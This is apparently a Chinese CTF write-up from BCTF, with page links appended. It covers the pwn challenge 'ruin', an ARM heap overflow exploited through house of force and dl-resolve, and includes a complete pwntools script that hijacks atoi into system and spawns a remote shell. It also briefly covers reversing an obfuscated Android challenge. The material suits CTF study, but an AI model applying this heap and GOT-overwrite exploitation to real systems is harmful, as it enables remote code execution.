Pwn-ruin

用几个词来概括下漏洞原理:Arm+heap overflow(house of force)+dl-resolve

Info leak:

在printf key8时,泄漏堆上地址(secret里放的是堆上地址)。

增大top chunk的大小

可以保证下一次malloc时,申请到任意地址内存

申请内存,覆盖secret, name, key16

使得内存结构为:

Addr                                    data

00010FB4(addr of secret)                pointer to name(00010fb8)

00010fb8(addr of name)

00010fbc(addr of key16)

这样的话,可以通过editsecret覆盖key16为任意值,最后通过updatekey16实现任意内存写。

利用dl-resolve的原理,将got中atoi的改为地址未解析前的数值,然后在堆上构造fake string table,并将dynamic段中的字符串表地址改为fake string table的地址。这个fake string table里'atoi'被修改为了'system',所以在下一次进行地址解析的时候,将会解析到system的地址,所以下一次调用到atoi时候,将会调用到system。顺利拿到shell。

 from pwn import *
import time
#by wah
#context.log_level = 'debug'
#s = remote('127.0.0.1', 10001)
s = remote('166.111.132.49', 9999)
'''
time.sleep(1)
print 'ruin pid is %d' % pwnlib.util.proc.pidof('ruin')[0]
'''
raw_input('go!') s.recvuntil('please input your 8-bit key:')
s.send('')
heap = s.recvuntil(' ')[8:-1]
heapaddr = u32(heap.ljust(4,'\x00'))
topaddr = heapaddr + 0x8
print 'heap addr is ' + str(heapaddr)
print 'top chunk addr is ' + str(topaddr) s.recvuntil('please input your 8-bit key:')
s.send('security')
s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
s.sendline('a'*8 + p32(0) + '\xff\xff\xff\xff') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
s.sendline('') namelen = 0x10fa8 + 0x100000000 - 8 - topaddr
namelen = 0xffffffff^namelen+1
s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your name length:')
s.sendline('-' + str(namelen))
s.recvuntil('enter your name:')
#s.sendline('namename') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
#s.send(p32(0x00008594)*4)
s.send('a'*4 + p32(0x10fb8) + p32(0x10fb4)*2) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x200
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('\x00libc.so.6\x00exit\x00')
s.send('\x00libc.so.6\x00exit\x00') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x210
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('strncmp\x00puts\x00__s')
s.send('strncmp\x00puts\x00__s') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x220
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('tack_chk_fail\x00ab')
s.send('tack_chk_fail\x00ab')#ort\x00 s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x230
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('ort\x00stdin\x00printf')
s.send('ort\x00stdin\x00printf')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x240
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('\x00fgets\x00stdout\x00ma')
s.send('\x00fgets\x00stdout\x00ma')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x250
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('lloc\x00fread\x00syste')
s.send('lloc\x00fread\x00syste')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x260
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('m\x00setbuf\x00__libc_')
s.send('m\x00setbuf\x00__libc_') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
dynamic = 0x10ea0+4
s.sendline(2*p32(dynamic)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
s.send(p32(heapaddr + 0x200) + p32(6) + p32(0x00008294) + p32(0x0000000a)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
atoigot = 0x00010F80
s.sendline(2*p32(atoigot)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len(4*p32(0x8574))
s.send(4*p32(0x8574)) s.recvuntil('Give me your choice(1-4):')
s.sendline('/bin/sh;')
s.interactive()

Lostflower

Android的逆向,代码经过了llvm分支混淆,简直不能看,突然想起来在ISG2015的时候,也遇到这样一个题,不过比这个简单不少,但是明白了一点:把握住关键函数就可以。

猜测让v13等于就可以,就是猜的!

进入check1,在my_pow()处下断点,进行观察函数功能。

在sub_1aa4处下断点,观察函数功能。

猜测让v11<0就可以,就是猜的!

调试过程中,发现my_pow做的是数的10次方,一共调用了10次my_pow后,断在sub_1aa4处,经过多次测试,sub_1aa4求的是绝对值。10次my_pow做的是将输入数字的每一位进行10次方后进行求和,减去数字本身后,最后传入到sub_1aa4。32位数的范围是-2^32到2^31-1,那么如果传入sub_1aa4的是-2^32,那么返回值是0x80000000,那么会被当作负数。

好了,思路理清楚后,就准备爆破(长度为10数字),调试的时候发现,如果输入的数字大于0x7fffffff,都会以0x7fffffff处理,所以搜索的空间大大减小。写了一个小程序,大概1分钟出结果。

Bctf-pwn_ruin-re_lastflower的更多相关文章

  1. BCTF warmup 50

    这是一道关于RSA的解密题:首先,我们要明白,通常是公钥加密.私钥解密,私钥签名.公钥验证.这个题目中给出的是一个公钥和一段密文. 刚开始一直以为和验证签名有关,费劲脑汁也想不出来怎么办.下面介绍些思 ...

  2. BCTF Web Code–考脑洞,你能过么?

    BCTF Web Code–考脑洞,你能过么? 1)打开链接,是一张图片 根据URL特点推断可能是有文件包含漏洞 2) 将jpg参数修改成index.php,查看源代码,发现base64编码后的代码 ...

  3. BCTF赛后

    今天早上八点,BTCF第一届落幕.虽然没有熬夜coding但还是十分开心. 从收到超哥的邀请,到回头组队,一开始的十几人,最后演化为五人的精简小分队,到昨晚把所有有想法的题目全部搞定,十分的开心和欣慰 ...

  4. 小情人emacs的自动补全

    前天打字的时候发现手指疼-..OTL-思考了一下可能是我近几个月以来一直在使用全部手敲代码不使用自动补全的"恶果"(当然我还是建议全部手敲的,至少可以感觉到强烈的屌丝满足感). 先 ...

  5. 实战经验|大神战队都在i春秋教你打CTF

    全国大学生信息安全竞赛创新实践能力赛旨在培养.选拔.推荐优秀信息安全专业人才创造条件,促进高等学校信息安全专业课程体系.教学内容和方法的改革,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学 ...

  6. (笔记)CTF入门指南

    [考项分类] Web: 网页安全 Crypto: 密码学(凯撒密码等) PWN: 对程序逻辑分析 系统漏洞利用 Misc: 杂项 图片隐写 数据还原 脑洞类 信息安全有关的 Reverse: 逆向工程 ...

  7. ddctf2019--web部分writeup

    0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...

  8. 实验吧web解题记录

    自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...

  9. [DEFCON全球黑客大会] CTF(Capture The Flag)

    copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...

  10. Attack Top Chunk之 bcloud

    前言 这是 bctf 2016 的题,链接 https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-20 ...

随机推荐

  1. C++编程规范和标准总结

    文件名: 每个源代码文件应该有一个包含文件.每个包含文件描述了单个类或者多个类相结合的集合.一般头文件(.h,或.hpp)包含类的定义而不是实例.因此包含文件可以用在多个文件当中,源文件(.c,.或c ...

  2. Tomcat 的三种(bio,nio.apr) 高级 Connector 运行模式

    tomcat的运行模式有3种.修改他们的运行模式.3种模式的运行是否成功,可以看他的启动控制台,或者启动日志.或者登录他们的默认页面http://localhost:8080/查看其中的服务器状态. ...

  3. Ascll

    ascll - 概述 ASCII码(American Standard Code for Information Interchange, 美国标准信息交换码).   信息编码就是将表示信息的某种符号 ...

  4. html5的改变

    html5的改变 新增的元素 新增的结构元素 section.article.aside.header.hgroup.footer.nav.figure 新增的其他元素 video.audio.emb ...

  5. 利用JQuery实现全选和反选的几种方法

    前面介绍了利用JavaScript实现全选功能,其中也有要注意的几点,现在讲解下在JQuery怎么实现全选和反选,下面提供了两种方法实现. 如图:要实现的效果是点击全选框全部选中,再点击全部不选中 方 ...

  6. SpringMVC(一) —— 入门

    SpringMVC原理图: 步骤: 首先用户发送请求.——>DispatcherServlet,前端控制器收到请求后自己不进行处理,而是委托给其他的解析器进行处理,作为统一访问点,进行全局的流程 ...

  7. HDU 5768 - Lucky7

    题意: 给出x, y, m[1...n], a[1..n].     在[x,y]中寻找 p % 7 = 0 且对任意(1<= i <=n) p % m[i] != a[i] 的数字的个数 ...

  8. MVC模式下如何对多选框数据进行增删改查

    一.业务情景:      做的是一个项目管理的增删改查模块,一个项目里面有项目成员属性,而且一个项目可以有多个成员,一个成员可以参加多个项目,多对多关系,数据库表里自然要建立一个关系表. 视图 二.视 ...

  9. 初学swift笔记 继承(十)

    import Foundation /* 继承 class childClass: FatherClass{ } 优点 代码重用 缺点 增加程序的藕合度 父类的改变会影响子类 只能单继承 */ cla ...

  10. JS 禁止浏览器右键菜单和刷新

    <script language="javascript"> //禁止按键F5 document.onkeydown = function(e){ e = window ...